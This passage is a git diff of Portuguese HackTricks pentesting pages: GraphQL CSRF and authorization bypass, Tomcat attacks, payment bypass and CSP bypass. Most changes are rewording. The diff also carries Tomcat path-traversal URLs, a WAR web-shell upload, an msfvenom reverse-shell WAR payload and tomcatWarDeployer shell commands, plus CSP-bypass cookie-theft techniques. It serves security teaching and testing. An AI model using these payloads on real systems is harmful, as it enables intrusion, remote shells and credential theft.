alternativos, como **solicitações GET** ou **POST com `x-www-form-urlencoded`**, pois as restrições podem se aplicar apenas às solicitações POST. ### **Descobrindo Estruturas GraphQL Expostas** -Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas de desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas de desenvolvedor são: +Quando a introspecção está desativada, examinar o código-fonte do site em busca de consultas pré-carregadas em bibliotecas JavaScript é uma estratégia útil. Essas consultas podem ser encontradas usando a guia `Sources` nas ferramentas do desenvolvedor, fornecendo insights sobre o esquema da API e revelando potencialmente **consultas sensíveis expostas**. Os comandos para pesquisar dentro das ferramentas do desenvolvedor são: ```javascript Inspect/Sources/"Search all files" file:* mutation file:* query ``` -## CSRF no GraphQL +## CSRF em GraphQL Se você não sabe o que é CSRF, leia a seguinte página: @@ -398,33 +402,33 @@ Se você não sabe o que é CSRF, leia a seguinte página: [csrf-cross-site-request-forgery.md](../../pentesting-web/csrf-cross-site-request-forgery.md) {% endcontent-ref %} -Lá fora, você vai conseguir encontrar vários endpoints GraphQL **configurados sem tokens CSRF.** +Lá fora, você será capaz de encontrar vários endpoints GraphQL **configurados sem tokens CSRF.** -Observe que as requisições GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**. +Observe que as solicitações GraphQL geralmente são enviadas via solicitações POST usando o Content-Type **`application/json`**. ```javascript {"operationName":null,"variables":{},"query":"{\n user {\n firstName\n __typename\n }\n}\n"} ``` -No entanto, a maioria dos pontos finais do GraphQL também suporta **solicitações POST** **`form-urlencoded`**: +No entanto, a maioria dos pontos finais do GraphQL também suporta **pedidos POST** **`form-urlencoded`**: ```javascript query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A ``` Portanto, como as solicitações CSRF como as anteriores são enviadas **sem solicitações de preflight**, é possível **realizar** **alterações** no GraphQL abusando de um CSRF. -No entanto, observe que o novo valor padrão do cookie da flag `samesite` do Chrome é `Lax`. Isso significa que o cookie será enviado apenas de um site de terceiros em solicitações GET. +No entanto, observe que o novo valor padrão do cookie da bandeira `samesite` do Chrome é `Lax`. Isso significa que o cookie só será enviado de um site de terceiros em solicitações GET. Observe que geralmente é possível enviar a **solicitação** **de consulta** também como uma **solicitação GET e o token CSRF pode não ser validado em uma solicitação GET.** -Além disso, abusar de um [ataque **XS-Search**](../../pentesting-web/xs-search.md) pode ser possível para extrair conteúdo do ponto final do GraphQL abusando das credenciais do usuário. +Além disso, abusar de um [**ataque XS-Search**](../../pentesting-web/xs-search.md) pode ser possível para extrair conteúdo do endpoint GraphQL abusando das credenciais do usuário. Para mais informações, **verifique a** [**postagem original aqui**](https://blog.doyensec.com/2021/05/20/graphql-csrf.html). ## Autorização no GraphQL -Muitas funções GraphQL definidas no ponto final podem verificar apenas a autenticação do solicitante, mas não a autorização. +Muitas funções GraphQL definidas no endpoint podem verificar apenas a autenticação do solicitante, mas não a autorização. Modificar as variáveis de entrada da consulta pode resultar em detalhes da conta sensíveis [vazados](https://hackerone.com/reports/792927). -A mutação pode até levar à tomada de conta tentando modificar dados de outras contas. +A mutação pode até resultar em apropriação de conta ao tentar modificar dados de outras contas. ```javascript { "operationName":"updateProfile", @@ -436,17 +440,17 @@ A mutação pode até levar à tomada de conta tentando modificar dados de outra [Encadear consultas](https://s1n1st3r.gitbook.io/theb10g/graphql-query-authentication-bypass-vuln) pode contornar um sistema de autenticação fraco. -No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que ela deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema se registrar como um novo usuário. +No exemplo abaixo, você pode ver que a operação é "forgotPassword" e que deve executar apenas a consulta forgotPassword associada a ela. Isso pode ser contornado adicionando uma consulta ao final, neste caso adicionamos "register" e uma variável de usuário para o sistema se registrar como um novo usuário.
-## Bypassando Limites de Taxa Usando Aliases no GraphQL +## Bypass de Limites de Taxa Usando Aliases no GraphQL No GraphQL, os aliases são um recurso poderoso que permite **nomear propriedades explicitamente** ao fazer uma solicitação de API. Essa capacidade é particularmente útil para recuperar **múltiplas instâncias do mesmo tipo** de objeto em uma única solicitação. Os aliases podem ser usados para superar a limitação que impede que objetos GraphQL tenham várias propriedades com o mesmo nome. -Para uma compreensão detalhada dos aliases do GraphQL, o seguinte recurso é recomendado: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). +Para uma compreensão detalhada dos aliases do GraphQL, recomenda-se o seguinte recurso: [Aliases](https://portswigger.net/web-security/graphql/what-is-graphql#aliases). -Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não considerar o número de operações dentro de cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa. +Embora o objetivo principal dos aliases seja reduzir a necessidade de inúmeras chamadas de API, foi identificado um caso de uso não intencional em que os aliases podem ser aproveitados para executar ataques de força bruta em um endpoint GraphQL. Isso é possível porque alguns endpoints são protegidos por limitadores de taxa projetados para impedir ataques de força bruta restringindo o **número de solicitações HTTP**. No entanto, esses limitadores de taxa podem não considerar o número de operações em cada solicitação. Dado que os aliases permitem a inclusão de várias consultas em uma única solicitação HTTP, eles podem contornar tais medidas de limitação de taxa. Considere o exemplo fornecido abaixo, que ilustra como consultas com alias podem ser usadas para verificar a validade de códigos de desconto de loja. Este método poderia contornar a limitação de taxa, pois compila várias consultas em uma única solicitação HTTP, permitindo potencialmente a verificação de vários códigos de desconto simultaneamente. ```bash @@ -500,10 +504,10 @@ valid Outras formas de apoiar o HackTricks: -* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. diff --git a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md index e1ebad3b8..d6f581217 100644 --- a/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md +++ b/network-services-pentesting/pentesting-web/php-tricks-esp/php-ssrf.md @@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks: **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -70,7 +70,7 @@ $file = file_get_contents($url, false, $context); ``` **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -85,6 +85,6 @@ Outras formas de apoiar o HackTricks: * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. +* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). diff --git a/network-services-pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md index d576aecb3..c9496aba6 100644 --- a/network-services-pentesting/pentesting-web/tomcat.md +++ b/network-services-pentesting/pentesting-web/tomcat.md @@ -2,9 +2,9 @@
-Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** @@ -14,7 +14,7 @@ **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -41,7 +41,7 @@ Identificar as localizações exatas dos diretórios **`/manager`** e **`/host-m ### **Enumeração de Nomes de Usuário** -Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuários através de: +Para versões do Tomcat anteriores à 6, é possível enumerar nomes de usuário através de: ```bash msf> use auxiliary/scanner/http/tomcat_enum ``` @@ -78,7 +78,7 @@ Acesso a `/auth.jsp` pode revelar a senha em um rastreamento sob circunstâncias A vulnerabilidade CVE-2007-1860 em `mod_jk` permite a travessia de caminho com codificação de URL dupla, possibilitando acesso não autorizado à interface de gerenciamento por meio de uma URL especialmente elaborada. -Para acessar a interface de gerenciamento do Tomcat, vá para: `caminhoTomcat/%252E%252E/manager/html` +Para acessar a interface de gerenciamento da web do Tomcat, vá para: `pathTomcat/%252E%252E/manager/html` ### /exemplos @@ -109,11 +109,11 @@ As versões do Apache Tomcat de 4.x a 7.x incluem scripts de exemplo suscetívei ### **Exploração de Traversão de Caminho** -Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), é possível obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/` +Em algumas [**configurações vulneráveis do Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/), você pode obter acesso a diretórios protegidos no Tomcat usando o caminho: `/..;/` -Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulneravel.com/lalala/..;/manager/html` +Portanto, por exemplo, você pode ser capaz de **acessar a página do gerenciador do Tomcat** acessando: `www.vulnerable.com/lalala/..;/manager/html` -**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulneravel.com/;param=value/manager/html` +**Outra maneira** de contornar caminhos protegidos usando esse truque é acessar `http://www.vulnerable.com/;param=value/manager/html` ## RCE @@ -121,7 +121,7 @@ Por fim, se você tiver acesso ao Gerenciador de Aplicativos da Web do Tomcat, v ### Limitações -Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_, geralmente definidos em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)). +Você só poderá implantar um WAR se tiver **privilégios suficientes** (funções: **admin**, **manager** e **manager-script**). Esses detalhes podem ser encontrados em _tomcat-users.xml_ geralmente definido em `/usr/share/tomcat9/etc/tomcat-users.xml` (varia entre as versões) (veja a seção [POST](tomcat.md#post)). ```bash # tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed @@ -132,6 +132,8 @@ curl --upload-file monshell.war -u 'tomcat:password' "http://localhost:8080/mana curl "http://tomcat:Password@localhost:8080/manager/text/undeploy?path=/monshell" ``` ### Metasploit + +Metasploit é uma ferramenta de código aberto amplamente utilizada para testes de penetração. Ele fornece uma plataforma para desenvolver, testar e usar exploits contra sistemas alvo. O Metasploit é altamente flexível e possui uma grande variedade de módulos que podem ser usados para explorar vulnerabilidades em serviços da web, como o Apache Tomcat. ```bash use exploit/multi/http/tomcat_mgr_upload msf exploit(multi/http/tomcat_mgr_upload) > set rhost @@ -142,13 +144,13 @@ msf exploit(multi/http/tomcat_mgr_upload) > exploit ``` ### Shell Reverso MSFVenom -1. Criar o arquivo war para implantar: +1. Criar o arquivo war para implantação: ```bash msfvenom -p java/shell_reverse_tcp LHOST= LPORT= -f war -o revshell.war ``` -### 2. Fazer upload do arquivo `revshell.war` e acessá-lo (`/revshell/`): +2. Faça o upload do arquivo `revshell.war` e acesse-o (`/revshell/`): -### Conectar e obter shell reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) +### Conexão e shell reverso com [tomcatWarDeployer.py](https://github.com/mgeeky/tomcatWarDeployer) Em alguns cenários, isso não funciona (por exemplo, em versões antigas da sun) @@ -160,7 +162,7 @@ git clone https://github.com/mgeeky/tomcatWarDeployer.git ```bash ./tomcatWarDeployer.py -U -P -H -p :/manager/html/ ``` -#### Shell de ligação +#### Shell de Conexão ```bash ./tomcatWarDeployer.py -U -P -p :/manager/html/ ``` @@ -216,12 +218,12 @@ O nome do arquivo de credenciais do Tomcat é _tomcat-users.xml_ ```bash find / -name tomcat-users.xml 2>/dev/null ``` -### Outras maneiras de obter credenciais do Tomcat: +Outras maneiras de obter credenciais do Tomcat: ```bash msf> use post/multi/gather/tomcat_gather msf> use post/windows/gather/enum_tomcat ``` -## Outras ferramentas de varredura do tomcat +## Outras ferramentas de varredura tomcat * [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner) @@ -232,7 +234,7 @@ msf> use post/windows/gather/enum_tomcat **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md index 2fa07cf28..975332745 100644 --- a/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md +++ b/network-services-pentesting/pentesting-web/tomcat/basic-tomcat-info.md @@ -1,10 +1,10 @@ -# Informações Básicas sobre o Tomcat +# Informações Básicas sobre Tomcat
-Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! -* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! +* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)! * Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family) * Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com) * **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** @@ -14,7 +14,7 @@ **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -22,7 +22,7 @@ ### Evite executar com root -Para não executar o Tomcat com root, uma configuração muito comum é configurar um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma expressão regular, a solicitação é enviada para o Tomcat em execução em uma porta diferente. +Para não executar o Tomcat com root, uma configuração muito comum é definir um servidor Apache na porta 80/443 e, se o caminho solicitado corresponder a uma expressão regular, a solicitação é enviada para o Tomcat em execução em uma porta diferente. ### Estrutura Padrão ``` @@ -52,7 +52,7 @@ Para não executar o Tomcat com root, uma configuração muito comum é configur * A pasta `bin` armazena scripts e binários necessários para iniciar e executar um servidor Tomcat. * A pasta `conf` armazena vários arquivos de configuração usados pelo Tomcat. * O arquivo `tomcat-users.xml` armazena credenciais de usuário e suas funções atribuídas. -* A pasta `lib` contém vários arquivos JAR necessários para o funcionamento correto do Tomcat. +* A pasta `lib` contém vários arquivos JAR necessários para o correto funcionamento do Tomcat. * As pastas `logs` e `temp` armazenam arquivos de log temporários. * A pasta `webapps` é a raiz padrão do Tomcat e hospeda todas as aplicações. A pasta `work` atua como um cache e é usada para armazenar dados durante a execução. @@ -76,7 +76,7 @@ webapps/customapp O arquivo mais importante entre esses é `WEB-INF/web.xml`, conhecido como descritor de implantação. Este arquivo armazena **informações sobre as rotas** usadas pela aplicação e as classes que lidam com essas rotas.\ Todas as classes compiladas usadas pela aplicação devem ser armazenadas na pasta `WEB-INF/classes`. Essas classes podem conter lógica de negócios importante, bem como informações sensíveis. Qualquer vulnerabilidade nesses arquivos pode levar à comprometimento total do site. A pasta `lib` armazena as bibliotecas necessárias para aquela aplicação específica. A pasta `jsp` armazena [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), anteriormente conhecido como `JavaServer Pages`, que pode ser comparado aos arquivos PHP em um servidor Apache. -Aqui está um exemplo de arquivo **web.xml**. +Aqui está um exemplo do arquivo **web.xml**. ```xml @@ -94,7 +94,7 @@ Aqui está um exemplo de arquivo **web.xml**. ``` -A configuração `web.xml` acima define um **novo servlet chamado `AdminServlet`** que está mapeado para a **classe `com.inlanefreight.api.AdminServlet`**. Java usa a notação de ponto para criar nomes de pacotes, o que significa que o caminho no disco para a classe definida acima seria: +O arquivo de configuração `web.xml` acima define um **novo servlet chamado `AdminServlet`** que está mapeado para a **classe `com.inlanefreight.api.AdminServlet`**. Java usa a notação de ponto para criar nomes de pacotes, o que significa que o caminho no disco para a classe definida acima seria: * **`classes/com/inlanefreight/api/AdminServlet.class`** @@ -102,7 +102,7 @@ Em seguida, é criado um novo mapeamento de servlet para **mapear solicitações ### tomcat-users -O arquivo **`tomcat-users.xml`** é usado para **permitir** ou proibir o acesso às páginas de administração **`/manager` e `host-manager`**. +O arquivo **`tomcat-users.xml`** é usado para **permitir** ou negar acesso às páginas de administração **`/manager` e `host-manager`**. ```xml @@ -143,7 +143,7 @@ will also need to set the passwords to something appropriate. ``` -O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, `manager-jmx` e `manager-status` fornece acesso. Neste exemplo, podemos ver que um usuário `tomcat` com a senha `tomcat` tem o papel `manager-gui`, e uma segunda senha fraca `admin` é definida para a conta de usuário `admin` +O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, `manager-jmx` e `manager-status` fornecem acesso. Neste exemplo, podemos ver que um usuário `tomcat` com a senha `tomcat` tem o papel `manager-gui`, e uma segunda senha fraca `admin` é definida para a conta de usuário `admin` ## Referências @@ -151,7 +151,7 @@ O arquivo nos mostra a que cada um dos papéis `manager-gui`, `manager-script`, **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/pentesting-web/bypass-payment-process.md b/pentesting-web/bypass-payment-process.md index 50dfff5a1..a9b58f98e 100644 --- a/pentesting-web/bypass-payment-process.md +++ b/pentesting-web/bypass-payment-process.md @@ -16,7 +16,7 @@ Outras formas de apoiar o HackTricks: **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} @@ -32,7 +32,7 @@ Durante o processo de transação, é crucial monitorar os dados trocados entre - **Callback**: Geralmente é usado para redirecionar o usuário após a conclusão de uma transação. ### Análise de URL -Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, é necessário examiná-lo mais de perto. Aqui está uma abordagem passo a passo: +Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguindo o padrão _example.com/payment/MD5HASH_, isso requer uma análise mais detalhada. Aqui está uma abordagem passo a passo: 1. **Copie a URL**: Extraia a URL do valor do parâmetro. 2. **Inspeção em Nova Janela**: Abra a URL copiada em uma nova janela do navegador. Essa ação é crucial para entender o resultado da transação. @@ -54,7 +54,7 @@ Se você encontrar um parâmetro que contenha uma URL, especialmente uma seguind **Grupo de Segurança Try Hard** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} diff --git a/pentesting-web/content-security-policy-csp-bypass/README.md b/pentesting-web/content-security-policy-csp-bypass/README.md index b4eaf12c6..a3aab0a42 100644 --- a/pentesting-web/content-security-policy-csp-bypass/README.md +++ b/pentesting-web/content-security-policy-csp-bypass/README.md @@ -2,7 +2,7 @@
-Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)! +Aprenda hacking AWS do zero ao avançado com htARTE (HackTricks AWS Red Team Expert)! Outras formas de apoiar o HackTricks: @@ -19,7 +19,7 @@ Outras formas de apoiar o HackTricks: Junte-se ao servidor [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) para se comunicar com hackers experientes e caçadores de recompensas por bugs! **Percepções de Hacking**\ -Envolver-se com conteúdo que explora a emoção e os desafios do hacking +Engaje-se com conteúdo que explora a emoção e os desafios do hacking **Notícias de Hacking em Tempo Real**\ Mantenha-se atualizado com o mundo acelerado do hacking por meio de notícias e percepções em tempo real @@ -31,7 +31,7 @@ Fique informado sobre os mais recentes programas de recompensas por bugs lançad ## O que é CSP -A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como scripting entre sites (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`. +A Política de Segurança de Conteúdo (CSP) é reconhecida como uma tecnologia de navegador, principalmente destinada a **proteger contra ataques como cross-site scripting (XSS)**. Funciona definindo e detalhando caminhos e fontes a partir das quais os recursos podem ser carregados com segurança pelo navegador. Esses recursos abrangem uma variedade de elementos, como imagens, frames e JavaScript. Por exemplo, uma política pode permitir o carregamento e execução de recursos do mesmo domínio (self), incluindo recursos inline e a execução de código de string por meio de funções como `eval`, `setTimeout` ou `setInterval`. A implementação do CSP é realizada por meio de **cabeçalhos de resposta** ou incorporando **elementos meta na página HTML**. Seguindo essa política, os navegadores aplicam proativamente essas estipulações e bloqueiam imediatamente quaisquer violações detectadas. @@ -79,7 +79,7 @@ object-src 'none'; * **object-src**: Define fontes permitidas para elementos ``, `` e ``. * **base-uri**: Especifica URLs permitidos para carregar usando elementos ``. * **form-action**: Lista os pontos finais válidos para envios de formulários. -* **plugin-types**: Restringe os tipos MIME que uma página pode invocar. +* **plugin-types**: Restringe os tipos de mime que uma página pode invocar. * **upgrade-insecure-requests**: Instrui os navegadores a reescrever URLs HTTP para HTTPS. * **sandbox**: Aplica restrições semelhantes ao atributo sandbox de um ` // The bot will load an URL with the payload @@ -566,13 +581,13 @@ run(); ``` ### Via Bookmarklets -Este ataque implicaria alguma engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens. +Este ataque implicaria algum engenharia social onde o atacante **convence o usuário a arrastar e soltar um link sobre o bookmarklet do navegador**. Este bookmarklet conteria **código javascript malicioso** que, quando arrastado e solto ou clicado, seria executado no contexto da janela web atual, **burlando o CSP e permitindo roubar informações sensíveis** como cookies ou tokens. Para mais informações [**verifique o relatório original aqui**](https://socradar.io/csp-bypass-unveiled-the-hidden-threat-of-bookmarklets/). ### CSP bypass restringindo o CSP -Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que impedia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**. +Neste [**writeup do CTF**](https://github.com/google/google-ctf/tree/master/2023/web-biohazard/solution), o CSP é burlado ao injetar dentro de um iframe permitido um CSP mais restritivo que proibia o carregamento de um arquivo JS específico que, então, via **poluição de protótipo** ou **dom clobbering** permitia **abusar de um script diferente para carregar um script arbitrário**. Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**: @@ -582,8 +597,8 @@ Você pode **restringir um CSP de um Iframe** com o atributo **`csp`**: ``` {% endcode %} -No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível, por meio de **injeção de HTML**, **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\ -CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seus **nonce** e **habilitando scripts inline específicos via sha**: +No [**writeup do CTF**](https://github.com/aszx87410/ctf-writeups/issues/48), foi possível através de **injeção de HTML** **restringir** ainda mais um **CSP** para que um script que impedia CSTI fosse desativado e, portanto, a **vulnerabilidade se tornasse explorável.**\ +CSP pode ser tornado mais restritivo usando **tags meta HTML** e scripts inline podem ser desativados **removendo** a **entrada** permitindo seu **nonce** e **habilitando scripts inline específicos via sha**: ```html "; ``` -### Vazamento de Informações com CSP e Iframe +### Vazando Informações com CSP e Iframe * Um `iframe` é criado apontando para uma URL (vamos chamá-la de `https://example.redirect.com`) que é permitida pelo CSP. * Esta URL então redireciona para uma URL secreta (por exemplo, `https://usersecret.example2.com`) que **não é permitida** pelo CSP. @@ -612,7 +627,7 @@ Outra técnica envolve explorar o próprio CSP para deduzir o subdomínio secret ```markdown img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev ``` -Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir as possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa. +Ao monitorar quais solicitações são bloqueadas ou permitidas pelo CSP, é possível reduzir os possíveis caracteres no subdomínio secreto, eventualmente descobrindo a URL completa. Ambos os métodos exploram as nuances da implementação e comportamento do CSP nos navegadores, demonstrando como políticas aparentemente seguras podem inadvertidamente vazar informações sensíveis. @@ -651,9 +666,9 @@ setTimeout(function() { a.document.body.innerHTML = ``; }, 1000); ``` -### ALGUNS + 'self' + wordpress +### SOME + 'self' + wordpress -ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e, em seguida, atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, consulte: +SOME é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um endpoint de uma página** para **abusar** de **outros endpoints da mesma origem.** Isso é feito carregando o endpoint vulnerável de uma página do atacante e depois atualizando a página do atacante para o endpoint real na mesma origem que você deseja abusar. Dessa forma, o **endpoint vulnerável** pode usar o objeto **`opener`** no **payload** para **acessar o DOM** do **endpoint real a ser abusado**. Para mais informações, confira: {% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} [some-same-origin-method-execution.md](../xss-cross-site-scripting/some-same-origin-method-execution.md) @@ -661,12 +676,12 @@ ALGUNS é uma técnica que abusa de um XSS (ou XSS altamente limitado) **em um e Além disso, o **wordpress** possui um endpoint **JSONP** em `/wp-json/wp/v2/users/1?_jsonp=data` que irá **refletir** os **dados** enviados na saída (com a limitação de apenas letras, números e pontos). -Um atacante pode abusar desse endpoint para **gerar um ataque ALGUNS** contra o WordPress e **incorporá-lo** dentro de `` observe que esse **script** será **carregado** porque é **permitido por 'self'**. Além disso, e porque o WordPress está instalado, um atacante pode abusar do **ataque ALGUNS** através do **endpoint de retorno** **vulnerável** que **burla o CSP** para conceder mais privilégios a um usuário, instalar um novo plugin...\ -Para mais informações sobre como realizar esse ataque, consulte 